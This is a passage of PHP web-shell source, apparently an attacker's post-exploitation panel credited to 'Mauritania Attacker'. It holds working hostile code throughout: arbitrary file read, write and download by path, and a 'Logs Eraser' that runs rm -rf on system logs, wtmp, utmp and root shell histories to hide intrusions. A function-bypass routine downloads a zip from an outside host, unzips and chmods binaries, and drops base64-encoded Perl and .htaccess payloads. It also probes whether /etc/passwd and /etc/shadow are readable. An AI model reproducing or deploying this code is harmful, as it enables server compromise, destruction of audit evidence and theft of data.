377echo '<font color="#007700"> Curl:</font><b class="tul"><font color="red"> OFF </font></b>-';
378}
379if(function_exists('exec')){
380echo '<font color="#007700"> Exec:</font><b class="tul"><font color="ff0000"> ON </font></b>-';
381}
382else{
383echo '<font color="#007700"> Exec:</font><b class="tul"><font color="red"> OFF </font></b>-';
384}
385if(!ini_get('open_basedir') != "on"){
386echo '<font color="#007700"> Open_basedir:</font><b class="tul"><font color="red"> OFF </font></b>-';
387}
388else{
389echo '<font color="#007700"> Open_basedir:</font><b class="tul"><font color="ff0000"> ON </font></b>-';
390}
391if(!ini_get('ini_restore') != "on"){
392echo '<font color="#007700"> Ini_restore:</font><b class="tul"><font color="red"> OFF </font></b>-';
393}
394else{
395echo '<font color="#007700"> Ini_restore:</font><b class="tul"><font color="ff0000"> ON </font></b>-';
396}
397if(function_exists('symlink')){
398echo '<font color="#007700"> Symlink:</font><b class="tul"><font color="ff0000"> ON </font></b>-';
399}
400else{
401echo '<font color="#007700"> Symlink:</font><b class="tul"><font color="red"> OFF </font></b>-';
402}
403if(function_exists('file_get_contents')){
404echo '<font color="#007700"> file_get_contents:</font><b class="tul"><font color="ff0000"> ON </font></b>-';
405}
406else{
407echo '<font color="#007700"> file_get_contents:</font><b class="tul"><font color="red"> OFF </font></b>-';
408}
409if(is_dir('sim/rut')){
410echo '<font color="#007700"> Permission:</font><b class="tul"><font color="ff0000"> ON </font></b>-';
411}
412else{
413echo '<font color="#007700"> Permission:</font><b class="tul"><font color="red"> OFF </font></b>';
414}
415?>
416</div>
417</center>
418
419
420<?php
421#################################################################
422//code for php.ini
423
424if(isset($_POST['source']) && isset($_POST['file'])){
425$source = $_POST['source'];
426$file = $_POST['file'];
427$fp = fopen($file, 'w');
428fwrite($fp, $source);
429fclose($fp);
430echo '<center><font color="#b0b000"><b>File saved</b></font></center>';
431}
432if(isset($_GET['turnoff'])){
433if(is_writable(".htaccess")){
434$value = $_GET['turnoff'];
435if(file_exists(".htaccess")){
436// fread example
437$handle = fopen(".htaccess", "r");
438$contents = '';
439while (!feof($handle)) {
440$read = fread($handle, 8192);
441$contents = $contents.$read;
442
443
444?>
445
446<center><br><br><b class="font-effect-fire-animation" style=font-family:Ubuntu;font-size:25px;color:#007700;>Turn off php.ini</font></b><br><br></center>
447<center><span style="color: #b0b000;font-family: ‘Courier New’, Courier, monospace;font-size:12px">Use htaccess to turn php.ini functions on/off<br>Example: php_value magic_quotes_gpc off</span></center>
448<form action="" method="post">
449<center><br><textarea class="area" id="source" name="source"> -->
450<?php
451
452if($value == 'magic_quotes_gpc'){
453$data = 'php_value magic_quotes_gpc off
454'.$contents;
455echo $data;
456}
457else{
458echo $contents;
459}
460 ?>
461 </textarea></center>
462 <input type="hidden" name="file" value=".htaccess"><br>
463 <center><input type="submit" value="Save File"></center>
464 </form>
465 <?php
466}
467fclose($handle);
468}
469}
470if(!file_exists(".htaccess")){
471// make htaccess file
472$myfile = '.htaccess';
473$handle = fopen($myfile, 'w') or die('Cannot open file: '.$myfile);
474fclose($handle);
475echo '<br><center><font color="#b0b000"><b>File created</b></font> <b><a href="?turnoff=ini">click here</a></b></center>';
476}
477?>
478<?php
479}
480
481// make file
482if(isset($_GET['make'])){
483// file maker
484if(!file_exists($_GET['make'])){
485// make htaccess file
486$myfile = $_GET['make'];
487$handle = fopen($myfile, 'w') or die('Cannot open file: '.$myfile);
488fclose($handle);
489echo '<center><font color="#b0b000"><b>File created</b></font> <a href="?view='.$myfile.'&dir=0">click here</a></center>';
490}
491else{
492echo '<center><font color="red">This file exist.</font> <a href="?delete='.$_GET['make'].'">delete</a> <a href="?view='.$_GET['make'].'">open</a><center>';
493}
494}
495
496if(isset($_GET['get'])){
497// download
498$file = $_GET['get'];
499if (file_exists($file)) {
500 header('Content-Description: File Transfer');
501 header('Content-Type: application/octet-stream');
502 header('Content-Disposition: attachment; filename='.basename($file));
503 header('Content-Transfer-Encoding: binary');
504 header('Expires: 0');
505 header('Cache-Control: must-revalidate');
506 header('Pragma: public');
507 header('Content-Length: ' . filesize($file));
508 ob_clean();
509 flush();
510 readfile($file);
511 exit();
512}
513}
514
515if(isset($_GET['view'])){
516$file = $_GET['view'];
517?><br><center>
518<form action="" method="post">
519<textarea class="area" id="source" name="source">
520<?php
521if(file_exists($file)){
522$open = htmlspecialchars(file_get_contents($file));
523if($open){
524echo $open;
525}
526}
527else{
528echo ' FILE DOES NOT EXISTS';
529}
530?>
531</textarea>
532<input type="hidden" name="file" value="<?php echo $file; ?>"><br><br>
533<center><input type="submit" value="Save File"> <a href="?zip=<?php echo $file; ?>" style="font-size:14; padding: 3px;border: 1px solid #007700; background: black;color: #007700; background: transparent; box-shadow: 0px 0px 4px #007700; padding: 3px; -webkit-border-radius: 4px;
534 -moz-border-radius: 4px; border-radius: 4px; -webkit-box-shadow: rgb(0,119,0) 0px 0px 4px; -moz-box-shadow: rgb(0,119,0) 0px 0px 4px;"><b>Download</b></a> <a href="?delete=<?php echo $file; ?>&action=mumpet" style="font-size:14; padding: 3px;border: 1px solid #007700 ;background: black;color: #007700; background: transparent; box-shadow: 0px 0px 4px #007700; padding: 3px; -webkit-border-radius: 4px;
535 -moz-border-radius: 4px; border-radius: 4px; -webkit-box-shadow: rgb(0,119,0) 0px 0px 4px; -moz-box-shadow: rgb(0,119,0) 0px 0px 4px;"><b>Delete</b></a></center>
536</input></form></center>
537<?php
538}
539
540
541if(isset($_GET['action']) && $_GET['action'] == 'simlinge'){
542$a = fopen("vws.pl", "w");
543fputs($a, $symlink);
544fclose($a);
545system("perl vws.pl");
546}
547
548
549if(isset($_GET['action']) && $_GET['action'] == 'deltlogss'){
550echo '<br><center><span style="font-size:30px; font-family:Fredericka the Great; color:#009900">Logs Eraser</span><center><br>';
551//exec function madafuck !
552echo "<table style='margin: 0 auto;'><tr valign='top'><td align='left'>";
553exec("rm -rf /tmp/logs");
554exec("rm -rf /root/.ksh_history");
555exec("rm -rf /root/.bash_history");
556exec("rm -rf /root/.bash_logout");
557exec("rm -rf /usr/local/apache/logs");
558exec("rm -rf /usr/local/apache/log");
559exec("rm -rf /var/apache/logs");
560exec("rm -rf /var/apache/log");
561exec("rm -rf /var/run/utmp");
562exec("rm -rf /var/logs");
563exec("rm -rf /var/log");
564exec("rm -rf /var/adm");
565exec("rm -rf /etc/wtmp");
566exec("rm -rf /etc/utmp");
567exec("rm -rf $HISTFILE");
568exec("rm -rf /var/log/lastlog");
569exec("rm -rf /var/log/wtmp");
570
571//shell_exec function madafuck !
572shell_exec("rm -rf /tmp/logs");
573shell_exec("rm -rf /root/.ksh_history");
574shell_exec("rm -rf /root/.bash_history");
575shell_exec("rm -rf /root/.bash_logout");
576shell_exec("rm -rf /usr/local/apache/logs");
577shell_exec("rm -rf /usr/local/apache/log");
578shell_exec("rm -rf /var/apache/logs");
579shell_exec("rm -rf /var/apache/log");
580shell_exec("rm -rf /var/run/utmp");
581shell_exec("rm -rf /var/logs");
582shell_exec("rm -rf /var/log");
583shell_exec("rm -rf /var/adm");
584shell_exec("rm -rf /etc/wtmp");
585shell_exec("rm -rf /etc/utmp");
586shell_exec("rm -rf $HISTFILE");
587shell_exec("rm -rf /var/log/lastlog");
588shell_exec("rm -rf /var/log/wtmp");
589
590//passthru function madafuck !
591passthru("rm -rf /tmp/logs");
592passthru("rm -rf /root/.ksh_history");
593passthru("rm -rf /root/.bash_history");
594passthru("rm -rf /root/.bash_logout");
595passthru("rm -rf /usr/local/apache/logs");
596passthru("rm -rf /usr/local/apache/log");
597passthru("rm -rf /var/apache/logs");
598passthru("rm -rf /var/apache/log");
599passthru("rm -rf /var/run/utmp");
600passthru("rm -rf /var/logs");
601passthru("rm -rf /var/log");
602passthru("rm -rf /var/adm");
603passthru("rm -rf /etc/wtmp");
604passthru("rm -rf /etc/utmp");
605passthru("rm -rf $HISTFILE");
606passthru("rm -rf /var/log/lastlog");
607passthru("rm -rf /var/log/wtmp");
608
609
610//Let the Mother of Functions To Complete The Task wkwkwkw xD!
611system("rm -rf /tmp/logs");
612sleep(2);
613echo'<br><font color="009900" face="Tahoma, Geneva, sans-serif" style="font-size: 10pt">Deleted [+].../tmp/logs <img src=http://l.yimg.com/us.yimg.com/i/mesg/emoticons7/41.gif>';
614sleep(2);
615
616system("rm -rf /root/.bash_history");
617sleep(2);
618echo'<p>Deleted [+].../root/.bash_history <img src=http://l.yimg.com/us.yimg.com/i/mesg/emoticons7/41.gif></p>';
619
620system("rm -rf /root/.ksh_history");
621sleep(2);
622echo'<p>Deleted [+].../root/.ksh_history <img src=http://l.yimg.com/us.yimg.com/i/mesg/emoticons7/41.gif></p>';
623
624system("rm -rf /root/.bash_logout");
625sleep(2);
626echo'<p>Deleted [+].../root/.bash_logout <img src=http://l.yimg.com/us.yimg.com/i/mesg/emoticons7/41.gif></p>';
627
628system("rm -rf /usr/local/apache/logs");
629sleep(2);
630echo'<p>Deleted [+].../usr/local/apache/logs <img src=http://l.yimg.com/us.yimg.com/i/mesg/emoticons7/41.gif></p>';
631
632system("rm -rf /usr/local/apache/log");
633sleep(2);
634echo'<p>Deleted [+].../usr/local/apache/log <img src=http://l.yimg.com/us.yimg.com/i/mesg/emoticons7/41.gif></p>';
635
636system("rm -rf /var/apache/logs");
637sleep(2);
638echo'<p>Deleted [+].../var/apache/logs <img src=http://l.yimg.com/us.yimg.com/i/mesg/emoticons7/41.gif></p>';
639
640system("rm -rf /var/apache/log");
641sleep(2);
642echo'<p>Deleted [+].../var/apache/log <img src=http://l.yimg.com/us.yimg.com/i/mesg/emoticons7/41.gif></p>';
643
644system("rm -rf /var/run/utmp");
645sleep(2);
646echo'<p>Deleted [+].../var/run/utmp <img src=http://l.yimg.com/us.yimg.com/i/mesg/emoticons7/41.gif></p>';
647
648system("rm -rf /var/logs");
649sleep(2);
650echo'<p>Deleted [+].../var/logs <img src=http://l.yimg.com/us.yimg.com/i/mesg/emoticons7/41.gif></p>';
651
652system("rm -rf /var/log");
653sleep(2);
654echo'<p>Deleted [+].../var/log <img src=http://l.yimg.com/us.yimg.com/i/mesg/emoticons7/41.gif></p>';
655
656system("rm -rf /var/adm");
657sleep(2);
658echo'<p>Deleted [+].../var/adm <img src=http://l.yimg.com/us.yimg.com/i/mesg/emoticons7/41.gif></p>';
659
660system("rm -rf /etc/wtmp");
661sleep(2);
662echo'<p>Deleted [+].../etc/wtmp <img src=http://l.yimg.com/us.yimg.com/i/mesg/emoticons7/41.gif></p>';
663
664system("rm -rf /etc/utmp");
665sleep(2);
666echo'<p>Deleted [+].../etc/utmp <img src=http://l.yimg.com/us.yimg.com/i/mesg/emoticons7/41.gif></p>';
667
668system("rm -rf $HISTFILE");
669sleep(2);
670echo'<p>Deleted [+]...$HISTFILE <img src=http://l.yimg.com/us.yimg.com/i/mesg/emoticons7/41.gif></p>';
671
672system("rm -rf /var/log/lastlog");
673sleep(2);
674echo'<p>Deleted [+].../var/log/lastlog <img src=http://l.yimg.com/us.yimg.com/i/mesg/emoticons7/41.gif></p>';
675
676system("rm -rf /var/log/wtmp");
677sleep(2);
678echo'<p>Deleted [+].../var/log/wtmp <img src=http://l.yimg.com/us.yimg.com/i/mesg/emoticons7/41.gif></p>';
679
680sleep(4);
681
682echo '</font><br><br><p><font color="00bb00" face="Tahoma, Geneva, sans-serif" style="font-size: 10pt">Your Traces Has Been Successfully Erased From the Server';
683echo"</td></tr></table>";
684
685}
686
687
688if(isset($_GET['action']) && $_GET['action'] == 'exgz'){
689echo '<center><b class="conte">
690<a href="?action=exgz">Bypass Server Functions</a> -
691<a href="?action=tespr">Test Permission</a> -
692<a href="?action=srvrinformations">Server Informations</a> </center>
693</b>';
694echo '<br><center><span style="font-size:30px; font-family:Fredericka the Great; color:#009900">Bypass Server Functions 100% Priv8</span><center>';
695echo '<center><font color="#007700" face="Tahoma, Geneva, sans-serif" style="font-size: 10pt">Coded By Mauritania Attacker</font><br><br><font color="#009900" face="Tahoma, Geneva, sans-serif" style="font-size: 12pt">Force Enabling Functions on the Server <font/></b><br><br>
696<form method="post"><font color="#007700" face="Tahoma, Geneva, sans-serif" style="font-size: 10pt">Remote File Zip Functions</font> <input type="text" size="40" name="shell" value="http://hcp1.es/wp-content/uploads/ghost.zip"> <input type="submit" value="Bypass Functions Now" name="fuck"></center>
697</form><br><br>
698</center>';
699@error_reporting(0);
700/*
701* Coded By : Mauritania Attacker
702* Avalaibility : Priv99999999999 !
703* This Tool is not for kids !!
704* GreetZ To All AnonGhost MemberZ
705*/
706
707$file = $_POST['shell'];
708//Generate zip file
709$fopen = fopen("ghost.zip",'w');
710$shell = @file_get_contents($file);
711$swrite = fwrite($fopen ,$shell);
712if($swrite){
713echo "<table style='margin: 0 auto;'><tr valign='top'><td align='left'>";
714echo "<font color='007700' face='Tahoma, Geneva, sans-serif' style='font-size: 10pt'>Zip Functions Uploaded Successfully\n</font><br>";
715sleep(2);
716echo "<p><font color='007700' face='Tahoma, Geneva, sans-serif' style='font-size: 10pt'>Going To Unzip All Functions Now Be patient Nygga ....</font></p><br>";
717
718sleep(2);
719
720//system
721system('unzip ghost.zip');
722
723chmod("id" , 0777);
724chmod("gunzip" , 0777);
725chmod("pwd" , 0777);
726chmod("ln" , 0777);
727chmod("ls" , 0777);
728chmod("chmod" , 0777);
729chmod("uname" , 0777);
730chmod("rm" , 0777);
731chmod("su" , 0777);
732chmod("tail" , 0777);
733chmod("Ptouch" , 0777);
734chmod("who" , 0777);
735chmod("gcc" , 0777);
736chmod("tar" , 0777);
737chmod("du" , 0777);
738chmod("dir" , 0777);
739chmod("wget" , 0777);
740chmod("date" , 0777);
741chmod("gzip" , 0777);
742chmod("sh" , 0777);
743
744//passthru
745passthru('unzip ghost.zip');
746
747chmod("id" , 0777);
748chmod("gunzip" , 0777);
749chmod("pwd" , 0777);
750chmod("ln" , 0777);
751chmod("ls" , 0777);
752chmod("chmod" , 0777);
753chmod("uname" , 0777);
754chmod("rm" , 0777);
755chmod("su" , 0777);
756chmod("tail" , 0777);
757chmod("Ptouch" , 0777);
758chmod("who" , 0777);
759chmod("gcc" , 0777);
760chmod("tar" , 0777);
761chmod("du" , 0777);
762chmod("dir" , 0777);
763chmod("wget" , 0777);
764chmod("date" , 0777);
765chmod("gzip" , 0777);
766chmod("sh" , 0777);
767
768//shell_exec
769shell_exec('unzip ghost.zip');
770
771chmod("id" , 0777);
772chmod("gunzip" , 0777);
773chmod("pwd" , 0777);
774chmod("ln" , 0777);
775chmod("ls" , 0777);
776chmod("chmod" , 0777);
777chmod("uname" , 0777);
778chmod("rm" , 0777);
779chmod("su" , 0777);
780chmod("tail" , 0777);
781chmod("Ptouch" , 0777);
782chmod("who" , 0777);
783chmod("gcc" , 0777);
784chmod("tar" , 0777);
785chmod("du" , 0777);
786chmod("dir" , 0777);
787chmod("wget" , 0777);
788chmod("date" , 0777);
789chmod("gzip" , 0777);
790chmod("sh" , 0777);
791
792//exec
793exec('unzip ghost.zip');
794
795chmod("id" , 0777);
796chmod("gunzip" , 0777);
797chmod("pwd" , 0777);
798chmod("ln" , 0777);
799chmod("ls" , 0777);
800chmod("chmod" , 0777);
801chmod("uname" , 0777);
802chmod("rm" , 0777);
803chmod("su" , 0777);
804chmod("tail" , 0777);
805chmod("Ptouch" , 0777);
806chmod("who" , 0777);
807chmod("gcc" , 0777);
808chmod("tar" , 0777);
809chmod("du" , 0777);
810chmod("dir" , 0777);
811chmod("wget" , 0777);
812chmod("date" , 0777);
813chmod("gzip" , 0777);
814chmod("sh" , 0777);
815
816//proc_open
817proc_open('unzip ghost.zip');
818
819chmod("id" , 0777);
820chmod("gunzip" , 0777);
821chmod("pwd" , 0777);
822chmod("ln" , 0777);
823chmod("ls" , 0777);
824chmod("chmod" , 0777);
825chmod("uname" , 0777);
826chmod("rm" , 0777);
827chmod("su" , 0777);
828chmod("tail" , 0777);
829chmod("Ptouch" , 0777);
830chmod("who" , 0777);
831chmod("gcc" , 0777);
832chmod("tar" , 0777);
833chmod("du" , 0777);
834chmod("dir" , 0777);
835chmod("wget" , 0777);
836chmod("date" , 0777);
837chmod("gzip" , 0777);
838chmod("sh" , 0777);
839
840sleep(3);
841
842echo "<p><font color='007700' face='Tahoma, Geneva, sans-serif' style='font-size: 10pt'>Loading Perl Functions.... </font> </p>";
843//chmod.pl generate
844$shellw0rm = 'eyANCnN5c3RlbSgidW56aXAgZ2hvc3QuemlwIik7DQpzeXN0ZW0oImNobW9kIDc3NyBpZCIpOw0Kc3lzdGVtKCJjaG1vZCA3NzcgZ3VuemlwIik7DQpzeXN0ZW0oImNobW9kIDc3NyBwd2QiKTsNCnN5c3RlbSgiY2htb2QgNzc3IGxuIik7DQpzeXN0ZW0oImNobW9kIDc3NyBscyIpOw0Kc3lzdGVtKCJjaG1vZCA3NzcgcHdkIik7DQpzeXN0ZW0oImNobW9kIDc3NyBjaG1vZCIpOw0Kc3lzdGVtKCJjaG1vZCA3NzcgdW5hbWUiKTsNCnN5c3RlbSgiY2htb2QgNzc3IHJtIik7DQpzeXN0ZW0oImNobW9kIDc3NyBjYXQiKTsNCnN5c3RlbSgiY2htb2QgNzc3IHN1Iik7DQpzeXN0ZW0oImNobW9kIDc3NyB0YWlsIik7DQpzeXN0ZW0oImNobW9kIDc3NyB0b3VjaCIpOw0Kc3lzdGVtKCJjaG1vZCA3Nzcgd2hvIik7DQpzeXN0ZW0oImNobW9kIDc3NyBnY2MiKTsNCnN5c3RlbSgiY2htb2QgNzc3IHJtIik7DQpzeXN0ZW0oImNobW9kIDc3NyB0YXIiKTsNCnN5c3RlbSgiY2htb2QgNzc3IGR1Iik7DQpzeXN0ZW0oImNobW9kIDc3NyBkaXIiKTsNCnN5c3RlbSgiY2htb2QgNzc3IHdnZXQiKTsNCnN5c3RlbSgiY2htb2QgNzc3IGRhdGUiKTsNCnN5c3RlbSgiY2htb2QgNzc3IGd6aXAiKTsNCnN5c3RlbSgiY2htb2QgNzc3IHNoIik7DQp9';
845$chmoderr = fopen("chmod.pl" ,"w+");
846$write = fwrite ($chmoderr ,base64_decode($shellw0rm));
847if($write){
848echo "<p><font color='007700' face='Tahoma, Geneva, sans-serif' style='font-size: 10pt'>Perl Modules Uploaded Successfully</font></p><br>";
849fclose($chmoderr);
850chmod("chmod.pl",0755);
851
852
853//Extracting htaccess to enable perl handler and type all depends on the server :D
854$htaccess = 'T3B0aW9ucyBJbmNsdWRlcyBJbmNsdWRlc05PRVhFQyBNdWx0aVZpZXdzIEluZGV4ZXMgRXhlY0NHSQ0KDQpBZGRUeXBlIGFwcGxpY2F0aW9uL3gtaHR0cGQtY2dpIC5wbA0KQWRkVHlwZSBhcHBsaWNhdGlvbi94LWh0dHBkLWNnaSAucGwNCg0KQWRkSGFuZGxlciBjZ2ktc2NyaXB0IC5wbA0KQWRkSGFuZGxlciBjZ2ktc2NyaXB0IC5wbA==';
855$lol = fopen(".htaccess" ,"w+");
856$dwrite = fwrite ($lol ,base64_decode($htaccess));
857fclose($chmoderr);
858
859sleep(2);
860
861//unzip with perl , if php can't do unzip perl maybe can
862echo "<p><b><font color='009900' face='Tahoma, Geneva, sans-serif' style='font-size: 10pt'>Unzipping Functions with Perl </font></b></p><br>";
863
864system('perl chmod.pl');
865passthru('perl chmod.pl');
866shell_exec('perl chmod.pl');
867exec('perl chmod.pl');
868proc_open('perl chmod.pl');
869echo"</td></tr></table>";
870}
871}
872}
873
874if(isset($_GET['action']) && $_GET['action'] == 'iplookdom'){
875
876 echo "<center><span style='font-size:30px; font-family:Fredericka the Great; color:#009900'>Ip Lookup Reverse Domain By Mauritania Attacker</span></center>
877";
878echo "<center><img border='0' src='http://www.serveu.net/images/stories/geolocation.png' width=\"200\" height=\"200\" style='margin-top:10px'></center><div id=result>";
879echo "<center><br><form><input type='text' size='60' value='yahoo.com' name='ghost' /><input type='hidden' name='action' value='iplookdom'> <input type='submit' value=' ✓ '></form></center>";
880if(isset($_GET["ghost"]))
881{
882$site = $_GET["ghost"];
883$ghost = "http://domains.yougetsignal.com/domains.php";
884
885//Curl Function
886$ch = curl_init($ghost);
887curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1 );
888curl_setopt($ch, CURLOPT_POSTFIELDS, "remoteAddress=$site&ket=");
889curl_setopt($ch, CURLOPT_HEADER, 0);
890curl_setopt($ch, CURLOPT_POST, 1);
891$resp = curl_exec($ch);
892$resp = str_replace("[","", str_replace("]","", str_replace("\"\"","", str_replace(", ,",",", str_replace("{","", str_replace("{","", str_replace("}","", str_replace(", ",",", str_replace(", ",",", str_replace("'","", str_replace("'","", str_replace(":",",", str_replace('"','', $resp ) ) ) ) ) ) ) ) ) ))));
893$array = explode(",,", $resp);
894unset($array[0]);
895echo "<table style='margin: 0 auto'>";
896foreach($array as $lnk)
897{
898 print "<tr><td><a style=\"color:#0f0;font-weight:bold;\" href='$lnk' target=_blank>$lnk</a></td></tr>";
899}
900echo "</table>";
901curl_close($ch);
902}
903
904
905}
906if(isset($_GET['action']) && $_GET['action'] == 'srvrinformations'){
907echo '<center><b class="conte">
908<a href="?action=exgz">Bypass Server Functions</a> -
909<a href="?action=tespr">Test Permission</a> -
910<a href="?action=srvrinformations">Server Informations</a> </center>
911</b>';
912echo "<br><center><span style='font-size:30px; font-family:Fredericka the Great; color:#009900'>Server Security Informations</span><center><br>";
913echo "<center><div class='tmpe'>
914<table align='center' width='50%'><td><font color='#007700'>Kernel Version</font></td><td>";echo php_uname();
915echo "<tr><td><font color='#007700'>Web Server</font></td><td>";echo $_SERVER["SERVER_SOFTWARE"];
916echo "<tr><td><font color='#007700'>PHP Version</font></td><td>";echo phpversion(); echo " on "; echo php_sapi_name();
917echo "<tr><td><font color='#007700'>Current User</font></td><td>";echo get_current_user();
918echo "<tr><td><font color='#007700'>User ID</font></td><td>";echo getmyuid();
919echo "<tr><td><font color='#007700'>Group</font></td><td>";echo getmygid();
920echo "<tr><td><font color='#007700'>Cwd </font></td><td>";echo getcwd();
921echo "<tr><td><font color='#007700'>Admin Server</font></td><td>";echo $_SERVER['SERVER_ADMIN'];
922echo "<tr><td><font color='#007700'>Server Port</font></td><td>";echo $_SERVER['SERVER_PORT'];
923echo "<tr><td><font color='#007700'>Server IP</font></td><td>";echo $serverIP = gethostbyname($_SERVER["HTTP_HOST"]);
924echo "<tr><td><font color='#007700'>Client IP</font></td><td>";echo $_SERVER['REMOTE_ADDR'];
925echo "<tr><td><font color='#007700'>cURL support</font></td><td>";echo function_exists('curl_version')?'Enabled':'No';
926echo "<tr><td><font color='#007700'>Readable /etc/passwd</font></td><td>";echo @is_readable('/etc/passwd')?"Readable <a href='?action=moco'> [View]</a>":"Not Readable";
927echo "<tr><td><font color='#007700'>Readable /etc/shadow</font></td><td>";echo @is_readable('/etc/shadow')?"Readable":"Not Readable";
928$base = (ini_get("open_basedir") or strtoupper(ini_get("open_basedir"))=="ON")?"ON <font color='#007700'>secure</font>":"OFF <font color='#007700'>not secure</font>";
929echo "<tr><td><font color='#007700'>Open Base Dir</font></td><td><font class=txt>" . $base . "</font>";
930echo "</table></div></center><br>";
931}
932
933
934if(isset($_GET['action']) && $_GET['action'] == 'tespr'){
935echo '<center><b class="conte">
936<a href="?action=exgz">Bypass Server Functions</a> -
937<a href="?action=tespr">Test Permission</a> -
938<a href="?action=srvrinformations">Server Informations</a> </center>
939</b>';
940echo '<br><center><span style="font-size:30px; font-family:Fredericka the Great; color:#009900">Test Permission</span><center><br>';
941
942echo '<center><table style="border:1px solid #007700;">';
943echo '<tr>';
944if(ini_get('id') == '1'){
945echo '<td style="border:0px solid black;"><font color="#007700" size="2pt"> id: </font></td><td><b><font color="#ff0000" size="2pt"> ON </font></b></td>';
946}
947else{
948echo '<td style="border:0px solid black;"><font color="#007700" size="2pt"> id: </font></td><td><b><font color="#b0b000" size="2pt"> OFF </font></b></td>';
949}
950if(ini_get('gunzip') == '1'){
951echo '<td style="border:0px solid black;"><font color="#007700" size="2pt"> | gunzip: </font></td><td><b><font color="#ff0000" size="2pt"> ON </font></b></td>';
952}
953else{
954echo '<td style="border:0px solid black;"><font color="#007700" size="2pt"> | gunzip: </font></td><td><b><font color="#b0b000" size="2pt"> OFF </font></b></td>';
955}
956if(ini_get('pwd') == '1'){
957echo '<td style="border:0px solid black;"><font color="#007700" size="2pt"> | pwd:</font></td><td><b><font color="#ff0000" size="2pt"> ON </font></b></td>';
958}
959else{
960echo '<td style="border:0px solid black;"><font color="#007700" size="2pt"> | pwd:</font></td><td><b><font color="#b0b000" size="2pt"> OFF </font></b></td>';
961}
962if(ini_get('ln') == '1'){
963echo '<td style="border:0px solid black;"><font color="#007700" size="2pt"> | ln:</font></td><td><b><font color="#ff0000" size="2pt"> ON </font></b></td>';
964}
965else{
966echo '<td style="border:0px solid black;"><font color="#007700" size="2pt"> | ln:</font></td><td><b><font color="#b0b000" size="2pt"> OFF </font></b></td>';
967}
968if(ini_get('ls') == '1'){
969echo '<td style="border:0px solid black;"><font color="#007700" size="2pt"> | ls:</font></td><td><b><font color="#ff0000" size="2pt"> ON </font></b></td>';
970}
971else{
972echo '<td style="border:0px solid black;"><font color="#007700" size="2pt"> | ls:</font></td><td><b><font color="#b0b000" size="2pt"> OFF </font></b></td>';
973}
974if(ini_get('chmod') == '1'){
975echo '<td style="border:0px solid black;"><font color="#007700" size="2pt"> | chmod:</font></td><td><b><font color="#ff0000" size="2pt"> ON </font></b></td>';
976}
977else{
978echo '<td style="border:0px solid black;"><font color="#007700" size="2pt"> | chmod:</font></td><td><b><font color="#b0b000" size="2pt"> OFF </font></b></td>';
979}
980echo '</tr><tr>';
981if(ini_get('uname') == '1'){
982echo '<td style="border:0px solid black;"><font color="#007700" size="2pt"> uname:</font></td><td><b><font color="#ff0000" size="2pt"> ON </font></b></td>';
983}
984else{
985echo '<td style="border:0px solid black;"><font color="#007700" size="2pt"> uname:</font></td><td><b><font color="#b0b000" size="2pt"> OFF </font></b></td>';
986}
987if(ini_get('rm') == '1'){
988echo '<td style="border:0px solid black;"><font color="#007700" size="2pt"> | rm:</font></td><td><b><font color="#ff0000" size="2pt"> ON </font></b></td>';
989}
990else{
991echo '<td style="border:0px solid black;"><font color="#007700" size="2pt"> | rm:</font></td><td><b><font color="#b0b000" size="2pt"> OFF </font></b></td>';
992}
993if(ini_get('su') == '1'){
994echo '<td style="border:0px solid black;"><font color="#007700" size="2pt"> | su:</font></td><td><b><font color="#ff0000" size="2pt"> ON </font></b></td>';
995}
996else{
997echo '<td style="border:0px solid black;"><font color="#007700" size="2pt"> | su:</font></td><td><b><font color="#b0b000" size="2pt"> OFF </font></b></td>';
998}
999
1000if(ini_get('tail') == '1'){
1001echo '<td style="border:0px solid black;"><font color="#007700" size="2pt"> | tail:</font></td><td><b><font color="#ff0000" size="2pt"> ON </font></b></td>';
1002}
1003else{
1004echo '<td style="border:0px solid black;"><font color="#007700" size="2pt"> | tail:</font></td><td><b><font color="#b0b000" size="2pt"> OFF </font></b></td>';
1005}
1006if(ini_get('Ptouch') == '1'){
1007echo '<td style="border:0px solid black;"><font color="#007700" size="2pt"> | Ptouch:</font></td><td><b><font color="#ff0000" size="2pt"> ON </font></b></td>';
1008}
1009else{
1010echo '<td style="border:0px solid black;"><font color="#007700" size="2pt"> | Ptouch:</font></td><td><b><font color="#b0b000" size="2pt"> OFF </font></b></td>';
1011}
1012if(ini_get('who') == '1'){
1013echo '<td style="border:0px solid black;"><font color="#007700" size="2pt"> | who:</font></td><td><b><font color="#ff0000" size="2pt"> ON </font></b></td>';
1014}
1015else{
1016echo '<td style="border:0px solid black;"><font color="#007700" size="2pt"> | who:</font></td><td><b><font color="#b0b000" size="2pt"> OFF </font></b></td>';
1017}
1018echo '</tr><tr>';
1019if(ini_get('gcc') == '1'){
1020echo '<td style="border:0px solid black;"><font color="#007700" size="2pt"> gcc:</font></td><td><b><font color="#ff0000" size="2pt"> ON </font></b></td>';
1021}
1022else{
1023echo '<td style="border:0px solid black;"><font color="#007700" size="2pt"> gcc:</font></td><td><b><font color="#b0b000" size="2pt"> OFF </font></b></td>';
1024}
1025if(ini_get('tar') == '1'){
1026echo '<td style="border:0px solid black;"><font color="#007700" size="2pt"> | tar:</font></td><td><b><font color="#ff0000" size="2pt"> ON </font></b></td>';
1027}
1028else{
1029echo '<td style="border:0px solid black;"><font color="#007700" size="2pt"> | tar:</font></td><td><b><font color="#b0b000" size="2pt"> OFF </font></b></td>';
1030}
1031if(ini_get('du') == '1'){
1032echo '<td style="border:0px solid black;"><font color="#007700" size="2pt"> | du:</font></td><td><b><font color="#ff0000" size="2pt"> ON </font></b></td>';
1033}
1034else{
1035echo '<td style="border:0px solid black;"><font color="#007700" size="2pt"> | du:</font></td><td><b><font color="#b0b000" size="2pt"> OFF </font></b></td>';
1036}
1037if(ini_get('dir') == '1'){
1038echo '<td style="border:0px solid black;"><font color="#007700" size="2pt"> | dir:</font></td><td><b><font color="#ff0000" size="2pt"> ON </font></b></td>';
1039}
1040else{
1041echo '<td style="border:0px solid black;"><font color="#007700" size="2pt"> | dir:</font></td><td><b><font color="#b0b000" size="2pt"> OFF </font></b></td>';
1042}
1043if(ini_get('wget') == '1'){
1044echo '<td style="border:0px solid black;"><font color="#007700" size="2pt"> | wget:</font></td><td><b><font color="#ff0000" size="2pt"> ON </font></b></td>';
1045}
1046else{
1047echo '<td style="border:0px solid black;"><font color="#007700" size="2pt"> | wget:</font></td><td><b><font color="#b0b000" size="2pt"> OFF </font></b></td>';
1048}
1049if(ini_get('date') == '1'){
1050echo '<td style="border:0px solid black;"><font color="#007700" size="2pt"> | date:</font></td><td><b><font color="#ff0000" size="2pt"> ON </font></b></td>';
1051}
1052else{
